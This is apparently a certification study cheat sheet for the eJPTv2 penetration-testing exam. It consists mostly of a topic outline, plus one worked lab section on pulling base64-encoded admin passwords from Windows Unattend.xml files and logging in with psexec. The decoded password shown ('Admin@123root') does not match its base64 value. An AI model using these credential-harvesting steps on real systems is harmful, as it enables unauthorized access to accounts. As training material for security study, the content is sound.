EJPTV2 Cheat Sheet by - Yash Mehta
  • Information Gathering & Enumeration
    • Reconnaissance
      • Passive information gathering
      • Active information gathering
    • Enumeration
      • SMTP
      • MySQL Enum
        • Metasploit
        • Mysql tool,Brute force
        • Nmap
      • HTTP Enum
        • random tools
        • Nmap
        • Metasploit
      • SSH Enum
        • Nmap,Login,Hydra
        • Metasploit Modules
        • Metasploit Brute force
      • FTP Enum
        • nmap,hydra,Login
        • Metasploit
      • SMB Enum
        • smbmap
        • nmap
        • smbclient,rpcclient,enum4linux
        • metasploit,hydra
      • SMTP Enum
    • Vulnerability Scanning
      • WMAP(web application vulnerability scanner)
      • Nessus
      • Metasploit
  • Vulnerabilities in services
    • IIS WEBDAV
    • SMB/SAMBA
    • RDP
    • WinRm
    • APACHE
    • FTP
    • SSH
    • HTTP
    • SMTP
    • PHP
    • MySQL
    • Sun Glassfish
    • Workflow platform(Processmaker)
  • Exploitation
    • Windows Exploitation
      • IIS WebDav
        • msfvenom,metasploit
      • SMB
        • Brute force and Login
        • Eternal blue vulnerability
      • RDP
        • Bruteforce and Login
        • Bluekeep
      • WinRm
        • Brute force and Authentication
      • HTTP
        • HttpFileServer httpd 2.3(Rejetto)
        • BadBlue httpd 2.7
      • MySQL
      • Workflow platform(Processmaker)
      • Sun GlassFish
      • CVE-2021-44228 - Apache Log4j
      • Apache Tomcat
    • Linux Exploitation
      • Apache httpd 2.4.7-XODA Vulnerability
      • Sun Glassfish
      • Apache-Shellshock(Bash)
        • Metasploit Exploitation
      • FTP
        • Brute Force
        • ProFTPD 1.3.3c
        • vsftpd 2.3.4 - Backdoor Command Execution
      • SSH
        • Brute Force
        • libssh Authentication Bypass Scanner
      • SAMBA
        • Brute Force
        • Samba smbd 3.X - 4.X (Samba 3.5.0 -RCE)
      • SMTP
        • Brute Force
        • Haraka < 2.8.9 - Remote Command Execution
      • PHP
        • PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
      • CVE-2021-44228 - Apache Log4j
    • Payloads
      • Encoding Payloads
      • Injecting Payloads into PEs
  • Post Exploitation
    • Privilege Escalation
      • Windows Privilege Escalation
        • Win Kernel Privesc
        • UAC Bypass Akagai64.exe
        • UAC Bypass:Memory Injection
        • PrivescCheck script
        • Access Token
        • Credentials Dumping
      • Linux Privilege Escalation
        • Cron Jobs
        • SUID
        • chkrootkit 0.49
        • Misconfigured Permissions Files
        • Misconfigured SUDO Privileges
        • Credentials Dumping
    • Hash Dumping
      • Windows hash dumping
        • MimiKatz,Kiwi
        • Pass the hash
      • Linux Hash Dumping
      • Crack the Hash
        • Windows Hash cracking
        • Linux Hash Cracking
        • Metasploit
    • Pivoting
    • Transferring Files
    • Meterpreter
      • Commands
      • Shell to Meterpreter
    • Persistence
      • Windows Persistence
        • persistence_service msf module
        • Enabling RDP(msf,admin password change)
        • Enabling RDP & New user
      • Linux Persistence
        • Adding backdoor user
        • SSHkey persistence module
        • Persistence via SSH Keys
        • Cron Jobs
    • Clearing Tracks
      • Windows clearing tracks
      • Linux clearing tracks
    • Local Enumeration
      • Windows Local Enumeration
      • Linux Local Enumeration
  • Web App Pentesting
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Passwords Configuration Files

Windows configuration files can contain stored passwords, e.g. in the Unattended Windows Setup utility, used to mass deploy Windows on systems.

  • The configuration file can contain specific configurations and user account credentials

  • An attacker can find the configuration file left on the target after installation

The utility typically utilizes those :

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Autounattend.xml

  • The stored passwords might be encoded in base64 (easily decodable).

#Exploitation

After getting a meterpreter session or shell session follow the follwing technique:-

  • Manually search for the unattend.xml file, it should be inside

    • C:\\Windows\\Panther

cd C:\\Windows\\Panther
dir
download unattend.xml

  • In a new terminal tab

cat unattend.xml

Get Access

  • administrator user configured base64 password is QWRtaW5AMTIz

    • Save it to a new file

    • Decode it using the base64 tool

nano password.txt
# paste the password, save and exit the file

base64 -d password.txt 
	Admin@123root

  • Test the administrator:Admin@123root credentials with the psexec tool

psexec.py administrator@10.4.19.9

You have gained access to the administrator account

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